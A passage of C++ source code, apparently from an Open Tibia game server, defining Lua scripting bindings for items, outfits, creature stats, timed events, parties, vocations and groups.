        lua_pushnumber(L, ret);
        return 1;
    }
    else
    {
        errorEx(getError(LUA_ERROR_CONTAINER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }
}

int32_t LuaScriptInterface::luaDoAddContainerItem(lua_State* L)
{
    //doAddContainerItem(uid, itemid[, count/subType])
    uint32_t count = 1;
    if(lua_gettop(L) > 2)
        count = popNumber(L);

    uint16_t itemId = popNumber(L);
    ScriptEnviroment* env = getEnv();

    Container* container = env->getContainerByUID((uint32_t)popNumber(L));
    if(!container)
    {
        errorEx(getError(LUA_ERROR_CONTAINER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    const ItemType& it = Item::items[itemId];
    int32_t itemCount = 1, subType = 1;
    if(it.hasSubType())
    {
        if(it.stackable)
            itemCount = (int32_t)std::ceil((float)count / 100);

        subType = count;
    }
    else
        itemCount = std::max((uint32_t)1, count);

    while(itemCount > 0)
    {
        int32_t stackCount = std::min(100, subType);
        Item* newItem = Item::CreateItem(itemId, stackCount);
        if(!newItem)
        {
            errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
            lua_pushboolean(L, false);
            return 1;
        }

        if(it.stackable)
            subType -= stackCount;

        ReturnValue ret = g_game.internalAddItem(NULL, container, newItem);
        if(ret != RET_NOERROR)
        {
            delete newItem;
            lua_pushboolean(L, false);
            return 1;
        }

        --itemCount;
        if(itemCount)
            continue;

        if(newItem->getParent())
            lua_pushnumber(L, env->addThing(newItem));
        else //stackable item stacked with existing object, newItem will be released
            lua_pushnil(L);

        return 1;
    }

    lua_pushnil(L);
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerAddOutfit(lua_State *L)
{
    //Consider using doPlayerAddOutfitId instead
    //doPlayerAddOutfit(cid, looktype, addon)
    uint32_t addon = popNumber(L), lookType = popNumber(L);
    ScriptEnviroment* env = getEnv();

    Player* player = env->getPlayerByUID((uint32_t)popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Outfit outfit;
    if(Outfits::getInstance()->getOutfit(lookType, outfit))
    {
        lua_pushboolean(L, player->addOutfit(outfit.outfitId, addon));
        return 1;
    }

    lua_pushboolean(L, false);
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerRemoveOutfit(lua_State *L)
{
    //Consider using doPlayerRemoveOutfitId instead
    //doPlayerRemoveOutfit(cid, looktype[, addon = 0])
    uint32_t addon = 0xFF;
    if(lua_gettop(L) > 2)
        addon = popNumber(L);

    uint32_t lookType = popNumber(L);
    ScriptEnviroment* env = getEnv();

    Player* player = env->getPlayerByUID((uint32_t)popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Outfit outfit;
    if(Outfits::getInstance()->getOutfit(lookType, outfit))
    {
        lua_pushboolean(L, player->removeOutfit(outfit.outfitId, addon));
        return 1;
    }

    lua_pushboolean(L, false);
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerAddOutfitId(lua_State *L)
{
    //doPlayerAddOutfitId(cid, outfitId, addon)
    uint32_t addon = popNumber(L), outfitId = popNumber(L);
    ScriptEnviroment* env = getEnv();

    Player* player = env->getPlayerByUID((uint32_t)popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    lua_pushboolean(L, player->addOutfit(outfitId, addon));
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerRemoveOutfitId(lua_State *L)
{
    //doPlayerRemoveOutfitId(cid, outfitId[, addon = 0])
    uint32_t addon = 0xFF;
    if(lua_gettop(L) > 2)
        addon = popNumber(L);

    uint32_t outfitId = popNumber(L);
    ScriptEnviroment* env = getEnv();

    Player* player = env->getPlayerByUID((uint32_t)popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    lua_pushboolean(L, player->removeOutfit(outfitId, addon));
    return 1;
}

int32_t LuaScriptInterface::luaCanPlayerWearOutfit(lua_State* L)
{
    //canPlayerWearOutfit(cid, looktype[, addon = 0])
    uint32_t addon = 0;
    if(lua_gettop(L) > 2)
        addon = popNumber(L);

    uint32_t lookType = popNumber(L);
    ScriptEnviroment* env = getEnv();

    Player* player = env->getPlayerByUID(popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Outfit outfit;
    if(Outfits::getInstance()->getOutfit(lookType, outfit))
    {
        lua_pushboolean(L, player->canWearOutfit(outfit.outfitId, addon));
        return 1;
    }

    lua_pushboolean(L, false);
    return 1;
}

int32_t LuaScriptInterface::luaCanPlayerWearOutfitId(lua_State* L)
{
    //canPlayerWearOutfitId(cid, outfitId[, addon = 0])
    uint32_t addon = 0;
    if(lua_gettop(L) > 2)
        addon = popNumber(L);

    uint32_t outfitId = popNumber(L);
    ScriptEnviroment* env = getEnv();

    Player* player = env->getPlayerByUID(popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    lua_pushboolean(L, player->canWearOutfit(outfitId, addon));
    return 1;
}

int32_t LuaScriptInterface::luaDoCreatureChangeOutfit(lua_State* L)
{
    //doCreatureChangeOutfit(cid, outfit)
    Outfit_t outfit = popOutfit(L);
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        if(Player* player = creature->getPlayer())
            player->changeOutfit(outfit, false);
        else
            creature->defaultOutfit = outfit;

        if(!creature->hasCondition(CONDITION_OUTFIT, 1))
            g_game.internalCreatureChangeOutfit(creature, outfit);

        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoSetCreatureLight(lua_State* L)
{
    //doSetCreatureLight(cid, lightLevel, lightColor, time)
    uint32_t time = popNumber(L);
    uint8_t color = (uint8_t)popNumber(L), level = (uint8_t)popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        Condition* condition = Condition::createCondition(CONDITIONID_COMBAT, CONDITION_LIGHT, time, level | (color << 8));
        creature->addCondition(condition);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerPopupFYI(lua_State* L)
{
    //doPlayerPopupFYI(cid, message)
    std::string message = popString(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->sendFYIBox(message);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSendTutorial(lua_State* L)
{
    //doPlayerSendTutorial(cid, id)
    uint8_t id = (uint8_t)popNumber(L);

    ScriptEnviroment* env = getEnv();

    Player* player = env->getPlayerByUID(popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    player->sendTutorial(id);
    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSendMailByName(lua_State* L)
{
    //doPlayerSendMailByName(name, item[, town[, actor]])
    ScriptEnviroment* env = getEnv();
    int32_t params = lua_gettop(L);

    Creature* actor = NULL;
    if(params > 3)
        actor = env->getCreatureByUID(popNumber(L));

    uint32_t town = 0;
    if(params > 2)
        town = popNumber(L);

    Item* item = env->getItemByUID(popNumber(L));
    if(!item)
    {
        errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    if(item->getParent() != VirtualCylinder::virtualCylinder)
    {
        lua_pushboolean(L, false);
        return 1;
    }

    lua_pushboolean(L, IOLoginData::getInstance()->playerMail(actor, popString(L), town, item));
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerAddMapMark(lua_State* L)
{
    //doPlayerAddMapMark(cid, pos, type[, description])
    std::string description;
    if(lua_gettop(L) > 3)
        description = popString(L);

    MapMarks_t type = (MapMarks_t)popNumber(L);
    PositionEx pos;
    popPosition(L, pos);

    ScriptEnviroment* env = getEnv();
    Player* player = env->getPlayerByUID(popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    player->sendAddMarker(pos, type, description);
    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerAddPremiumDays(lua_State* L)
{
    //doPlayerAddPremiumDays(cid, days)
    int32_t days = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(player->premiumDays < 65535)
        {
            Account account = IOLoginData::getInstance()->loadAccount(player->getAccount());
            if(days < 0)
            {
                account.premiumDays = std::max((uint32_t)0, uint32_t(account.premiumDays + (int32_t)days));
                player->premiumDays = std::max((uint32_t)0, uint32_t(player->premiumDays + (int32_t)days));
            }
            else
            {
                account.premiumDays = std::min((uint32_t)65534, uint32_t(account.premiumDays + (uint32_t)days));
                player->premiumDays = std::min((uint32_t)65534, uint32_t(player->premiumDays + (uint32_t)days));
            }
            IOLoginData::getInstance()->saveAccount(account);
        }
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureLastPosition(lua_State* L)
{
    //getCreatureLastPosition(cid)
    ScriptEnviroment* env = getEnv();

    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        pushPosition(L, creature->getLastPosition(), 0);
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureName(lua_State* L)
{
    //getCreatureName(cid)
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushstring(L, creature->getName().c_str());
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureNoMove(lua_State* L)
{
    //getCreatureNoMove(cid)
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushboolean(L, creature->getNoMove());
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureSkullType(lua_State* L)
{
    //getCreatureSkullType(cid[, target])
    uint32_t tid = 0;
    if(lua_gettop(L) > 1)
        tid = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        if(!tid)
            lua_pushnumber(L, creature->getSkull());
        else if(Creature* target = env->getCreatureByUID(tid))
            lua_pushnumber(L, creature->getSkullClient(target));
        else
        {
            errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
            lua_pushboolean(L, false);
        }
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoCreatureSetLookDir(lua_State* L)
{
    //doCreatureSetLookDirection(cid, dir)
    Direction dir = (Direction)popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        if(dir < NORTH || dir > WEST)
        {
            lua_pushboolean(L, false);
            return 1;
        }

        g_game.internalCreatureTurn(creature, dir);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoCreatureSetSkullType(lua_State* L)
{
    //doCreatureSetSkullType(cid, skull)
    Skulls_t skull = (Skulls_t)popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        creature->setSkull(skull);
        g_game.updateCreatureSkull(creature);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetSkullEnd(lua_State* L)
{
    //doPlayerSetSkullEnd(cid, time, type)
    Skulls_t _skull = (Skulls_t)popNumber(L);
    time_t _time = (time_t)std::max((int64_t)0, popNumber(L));

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->setSkullEnd(_time, false, _skull);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureSpeed(lua_State* L)
{
    //getCreatureSpeed(cid)
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushnumber(L, creature->getSpeed());
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureBaseSpeed(lua_State* L)
{
    //getCreatureBaseSpeed(cid)
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushnumber(L, creature->getBaseSpeed());
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureTarget(lua_State* L)
{
    //getCreatureTarget(cid)
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        Creature* target = creature->getAttackedCreature();
        lua_pushnumber(L, target ? env->addThing(target) : 0);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaIsSightClear(lua_State* L)
{
    //isSightClear(fromPos, toPos, floorCheck)
    PositionEx fromPos, toPos;
    bool floorCheck = popNumber(L);

    popPosition(L, toPos);
    popPosition(L, fromPos);

    lua_pushboolean(L, g_game.isSightClear(fromPos, toPos, floorCheck));
    return 1;
}

int32_t LuaScriptInterface::luaIsInArray(lua_State* L)
{
    //isInArray(array, value[, caseSensitive = false])
    bool caseSensitive = false;
    if(lua_gettop(L) > 2)
        caseSensitive = popNumber(L);

    boost::any value;
    if(lua_isnumber(L, -1))
        value = popFloatNumber(L);
    else if(lua_isboolean(L, -1))
        value = popBoolean(L);
    else if(lua_isstring(L, -1))
        value = popString(L);
    else
    {
        lua_pop(L, 1);
        lua_pushboolean(L, false);
        return 1;
    }

    const std::type_info& type = value.type();
    if(!caseSensitive && type == typeid(std::string))
        value = asLowerCaseString(boost::any_cast<std::string>(value));

    if(!lua_istable(L, -1))
    {
        boost::any data;
        if(lua_isnumber(L, -1))
            data = popFloatNumber(L);
        else if(lua_isboolean(L, -1))
            data = popBoolean(L);
        else if(lua_isstring(L, -1))
            data = popString(L);
        else
        {
            lua_pop(L, 1);
            lua_pushboolean(L, false);
            return 1;
        }

        if(type != data.type()) // check is it even same data type before searching deeper
            lua_pushboolean(L, false);
        else if(type == typeid(bool))
            lua_pushboolean(L, boost::any_cast<bool>(value) == boost::any_cast<bool>(data));
        else if(type == typeid(double))
            lua_pushboolean(L, boost::any_cast<double>(value) == boost::any_cast<double>(data));
        else if(caseSensitive)
            lua_pushboolean(L, boost::any_cast<std::string>(value) == boost::any_cast<std::string>(data));
        else
            lua_pushboolean(L, boost::any_cast<std::string>(value) == asLowerCaseString(boost::any_cast<std::string>(data)));

        return 1;
    }

    lua_pushnil(L);
    while(lua_next(L, -2))
    {
        boost::any data;
        if(lua_isnumber(L, -1))
            data = popFloatNumber(L);
        else if(lua_isboolean(L, -1))
            data = popBoolean(L);
        else if(lua_isstring(L, -1))
            data = popString(L);
        else
        {
            lua_pop(L, 1);
            break;
        }

        if(type != data.type()) // check is it same data type before searching deeper
            continue;

        if(type == typeid(bool))
        {
            if(boost::any_cast<bool>(value) != boost::any_cast<bool>(data))
                continue;

            lua_pushboolean(L, true);
            return 1;
        }
        else if(type == typeid(double))
        {
            if(boost::any_cast<double>(value) != boost::any_cast<double>(data))
                continue;

            lua_pushboolean(L, true);
            return 1;
        }
        else if(caseSensitive)
        {
            if(boost::any_cast<std::string>(value) != boost::any_cast<std::string>(data))
                continue;

            lua_pushboolean(L, true);
            return 1;
        }
        else if(boost::any_cast<std::string>(value) == asLowerCaseString(boost::any_cast<std::string>(data)))
        {
            lua_pushboolean(L, true);
            return 1;
        }
    }

    lua_pop(L, 2);
    lua_pushboolean(L, false);
    return 1;
}

int32_t LuaScriptInterface::luaAddEvent(lua_State* L)
{
    //addEvent(callback, delay, ...)
    ScriptEnviroment* env = getEnv();
    LuaScriptInterface* interface = env->getInterface();
    if(!interface)
    {
        errorEx("No valid script interface!");
        lua_pushboolean(L, false);
        return 1;
    }

    int32_t parameters = lua_gettop(L);
    if(!lua_isfunction(L, -parameters)) //-parameters means the first parameter from left to right
    {
        errorEx("Callback parameter should be a function.");
        lua_pushboolean(L, false);
        return 1;
    }

    std::list<int32_t> params;
    for(int32_t i = 0; i < parameters - 2; ++i) //-2 because addEvent needs at least two parameters
        params.push_back(luaL_ref(L, LUA_REGISTRYINDEX));

    uint32_t delay = std::max((int64_t)SCHEDULER_MINTICKS, popNumber(L));
    LuaTimerEvent eventDesc;

    eventDesc.parameters = params;
    eventDesc.function = luaL_ref(L, LUA_REGISTRYINDEX);
    eventDesc.scriptId = env->getScriptId();

    interface->m_timerEvents[++interface->m_lastEventTimerId] = eventDesc;
    Scheduler::getInstance().addEvent(createSchedulerTask(delay, boost::bind(
        &LuaScriptInterface::executeTimer, interface, interface->m_lastEventTimerId)));

    lua_pushnumber(L, interface->m_lastEventTimerId);
    return 1;
}

int32_t LuaScriptInterface::luaStopEvent(lua_State* L)
{
    //stopEvent(eventid)
    uint32_t eventId = popNumber(L);
    ScriptEnviroment* env = getEnv();

    LuaScriptInterface* interface = env->getInterface();
    if(!interface)
    {
        errorEx("No valid script interface!");
        lua_pushboolean(L, false);
        return 1;
    }

    LuaTimerEvents::iterator it = interface->m_timerEvents.find(eventId);
    if(it != interface->m_timerEvents.end())
    {
        for(std::list<int32_t>::iterator lt = it->second.parameters.begin(); lt != it->second.parameters.end(); ++lt)
            luaL_unref(interface->m_luaState, LUA_REGISTRYINDEX, *lt);
        it->second.parameters.clear();

        luaL_unref(interface->m_luaState, LUA_REGISTRYINDEX, it->second.function);
        interface->m_timerEvents.erase(it);
        lua_pushboolean(L, true);
    }
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureCondition(lua_State* L)
{
    //getCreatureCondition(cid, condition[, subId])
    uint32_t subId = 0, condition = 0;
    if(lua_gettop(L) > 2)
        subId = popNumber(L);

    condition = popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushboolean(L, creature->hasCondition((ConditionType_t)condition, subId));
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerBlessing(lua_State* L)
{
    //getPlayerBlessings(cid, blessing)
    int16_t blessing = popNumber(L) - 1;

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
        lua_pushboolean(L, player->hasBlessing(blessing));
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerAddBlessing(lua_State* L)
{
    //doPlayerAddBlessing(cid, blessing)
    int16_t blessing = popNumber(L) - 1;
    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(!player->hasBlessing(blessing))
        {
            player->addBlessing(1 << blessing);
            lua_pushboolean(L, true);
        }
        else
            lua_pushboolean(L, false);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetPromotionLevel(lua_State* L)
{
    //doPlayerSetPromotionLevel(cid, level)
    uint32_t level = popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->setPromotionLevel(level);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetGroupId(lua_State* L)
{
    //doPlayerSetGroupId(cid, groupId)
    uint32_t groupId = popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(Group* group = Groups::getInstance()->getGroup(groupId))
        {
            player->setGroup(group);
            lua_pushboolean(L, true);
        }
        else
            lua_pushboolean(L, false);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureMana(lua_State* L)
{
    //getCreatureMana(cid)
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushnumber(L, creature->getMana());
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureMaxMana(lua_State* L)
{
    //getCreatureMaxMana(cid)
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushnumber(L, creature->getMaxMana());
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureHealth(lua_State* L)
{
    //getCreatureHealth(cid)
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushnumber(L, creature->getHealth());
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureLookDirection(lua_State* L)
{
    //getCreatureLookDirection(cid)
    ScriptEnviroment* env = getEnv();

    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushnumber(L, creature->getDirection());
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureMaxHealth(lua_State* L)
{
    //getCreatureMaxHealth(cid)
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushnumber(L, creature->getMaxHealth());
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetStamina(lua_State* L)
{
    //doPlayerSetStamina(cid, minutes)
    uint32_t minutes = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->setStaminaMinutes(minutes);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerAddStamina(lua_State* L)
{
    //doPlayerAddStamina(cid, minutes)
    int32_t minutes = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->setStaminaMinutes(player->getStaminaMinutes() + minutes);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetBalance(lua_State* L)
{
    //doPlayerSetBalance(cid, balance)
    uint32_t balance = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->balance = balance;
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetPartner(lua_State* L)
{
    //doPlayerSetPartner(cid, guid)
    uint32_t guid = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->marriage = guid;
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerParty(lua_State* L)
{
    //getPlayerParty(cid)
    uint32_t cid = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(cid))
    {
        if(Party* party = player->getParty())
            lua_pushnumber(L, env->addThing(party->getLeader()));
        else
            lua_pushnil(L);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerJoinParty(lua_State* L)
{
    //doPlayerJoinParty(cid, lid)
    ScriptEnviroment* env = getEnv();

    Player* leader = env->getPlayerByUID(popNumber(L));
    if(!leader)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    Player* player = env->getPlayerByUID(popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    g_game.playerJoinParty(player->getID(), leader->getID());
    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaGetPartyMembers(lua_State* L)
{
    //getPartyMembers(cid)
    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(Party* party = player->getParty())
        {
            PlayerVector list = party->getMembers();
            list.push_back(party->getLeader());

            PlayerVector::const_iterator it = list.begin();
            lua_newtable(L);
            for(uint32_t i = 1; it != list.end(); ++it, ++i)
            {
                lua_pushnumber(L, i);
                lua_pushnumber(L, (*it)->getID());
                pushTable(L);
            }

            return 1;
        }
    }

    lua_pushboolean(L, false);
    return 1;
}

int32_t LuaScriptInterface::luaGetVocationInfo(lua_State* L)
{
    //getVocationInfo(id)
    uint32_t id = popNumber(L);
    Vocation* voc = Vocations::getInstance()->getVocation(id);
    if(!voc)
    {
        lua_pushboolean(L, false);
        return 1;
    }

    lua_newtable(L);
    setField(L, "id", voc->getId());
    setField(L, "name", voc->getName().c_str());
    setField(L, "description", voc->getDescription().c_str());
    setField(L, "healthGain", voc->getGain(GAIN_HEALTH));
    setField(L, "healthGainTicks", voc->getGainTicks(GAIN_HEALTH));
    setField(L, "healthGainAmount", voc->getGainAmount(GAIN_HEALTH));
    setField(L, "manaGain", voc->getGain(GAIN_MANA));
    setField(L, "manaGainTicks", voc->getGainTicks(GAIN_MANA));
    setField(L, "manaGainAmount", voc->getGainAmount(GAIN_MANA));
    setField(L, "attackSpeed", voc->getAttackSpeed());
    setField(L, "baseSpeed", voc->getBaseSpeed());
    setField(L, "fromVocation", voc->getFromVocation());
    setField(L, "promotedVocation", Vocations::getInstance()->getPromotedVocation(id));
    setField(L, "soul", voc->getGain(GAIN_SOUL));
    setField(L, "soulAmount", voc->getGainAmount(GAIN_SOUL));
    setField(L, "soulTicks", voc->getGainTicks(GAIN_SOUL));
    setField(L, "capacity", voc->getGainCap());
    setFieldBool(L, "attackable", voc->isAttackable());
    setFieldBool(L, "needPremium", voc->isPremiumNeeded());
    setFieldFloat(L, "experienceMultiplier", voc->getExperienceMultiplier());
    return 1;
}

int32_t LuaScriptInterface::luaGetGroupInfo(lua_State* L)
{
    //getGroupInfo(id[, premium])
    bool premium = false;
    if(lua_gettop(L) > 1)
        premium = popNumber(L);

    Group* group = Groups::getInstance()->getGroup(popNumber(L));
    if(!group)
    {
        lua_pushboolean(L, false);
        return 1;
    }

    lua_newtable(L);
    setField(L, "id", group->getId());
    setField(L, "name", group->getName().c_str());
    setField(L, "access", group->getAccess());
    setField(L, "ghostAccess", group->getGhostAccess());
    setField(L, "violationReasons", group->getViolationReasons());
    setField(L, "statementViolationFlags", group->getStatementViolationFlags());
    setField(L, "nameViolationFlags", group->getNameViolationFlags());
    setField(L, "flags", group->getFlags());
    setField(L, "customFlags", group->getCustomFlags());
    setField(L, "depotLimit", group->getDepotLimit(premium));
    setField(L, "maxVips", group->getMaxVips(premium));
    setField(L, "outfit", group->getOutfit());
    return 1;
}

int32_t LuaScriptInterface::luaGetChannelUsers(lua_State* L)
{
    //getChannelUsers(channelId)
    ScriptEnviroment* env = getEnv();
    uint16_t channelId = popNumber(L);

